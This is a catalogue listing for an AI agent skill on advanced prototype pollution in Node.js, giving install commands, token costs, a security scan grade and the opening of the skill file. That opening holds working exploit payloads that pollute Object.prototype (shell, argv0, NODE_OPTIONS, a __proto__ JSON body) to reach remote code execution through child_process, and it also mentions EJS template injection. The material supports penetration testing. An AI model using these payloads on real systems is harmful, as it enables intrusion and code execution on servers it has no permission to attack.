prototype-pollution-advanced

prototype-pollution-advanced is a skill for Claude Code, Codex from DorianGallo/hack-skills-local. It costs 59 tokens per session (3,030 once invoked), scanned A, a copy of prototype-pollution-advanced, MIT.

A guide to advanced prototype pollution attacks in JavaScript applications. Prototype pollution changes shared object properties and may let an attacker reach code execution or browser-side script behavior.

In plain words
What is it for?
It is for assessing Node.js applications, JavaScript frameworks, template engines, and client-side code for escalation from polluted objects to security impact.
Why use it?
It helps testers investigate what can happen after prototype pollution has already been confirmed, including framework-specific attack paths and filter bypasses.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadg.

Good fit It is for assessing Node.js applications, JavaScript frameworks, template engines, and client-side code for escalation from polluted objects to security impact.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/DorianGallo/hack-skills-local
agentmods
npx agentmods add skills/doriangallo/hack-skills-local/prototype-pollution-advanced

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for prototype-pollution-advanced

README.md
[![agentmods](https://agentmods.dev/badge/skills/doriangallo/hack-skills-local/prototype-pollution-advanced/github.svg)](https://agentmods.dev/skills/doriangallo/hack-skills-local/prototype-pollution-advanced)
Your own site
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Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for prototype-pollution-advanced

Your own site · 80×15
<a href="https://agentmods.dev/skills/doriangallo/hack-skills-local/prototype-pollution-advanced"><img src="https://agentmods.dev/badge/skills/doriangallo/hack-skills-local/prototype-pollution-advanced.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 59 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,030 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00059 $0.03030
Opus 5 $0.00030 $0.01515
Sonnet 5 $0.00012 $0.00606
Haiku 4.5 $0.00006 $0.00303

Measured 6d ago against content hash 10b2f3c19818, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

prototype-pollution-advanced scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

> **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, a
Origin

This is a copy

100% identical to prototype-pollution-advanced — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/prototype-pollution-advanced/SKILL.md · 339 lines

How it starts

The opening of the file, as written. The whole thing — 339 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks, __proto__ vs constructor.prototype, basic probes).

Advanced Reference

Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.


1. SERVER-SIDE PP → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:

// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

Alternative ENV pollution:

{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

1.2 EJS (Embedded JavaScript Templates)

EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:

Read the full file on GitHub · 339 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 339 lines · 59 tokens per session scan A 10b2f3c19818

Subscribe to this mod's changes

prototype-pollution-advanced is a skill published in the GitHub repository DorianGallo/hack-skills-local (5 stars, last pushed 3mo ago), licensed MIT. It adds 59 tokens to every session and 3,030 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). It is 100% identical to prototype-pollution-advanced, differing in 0 lines, and is treated as a copy.

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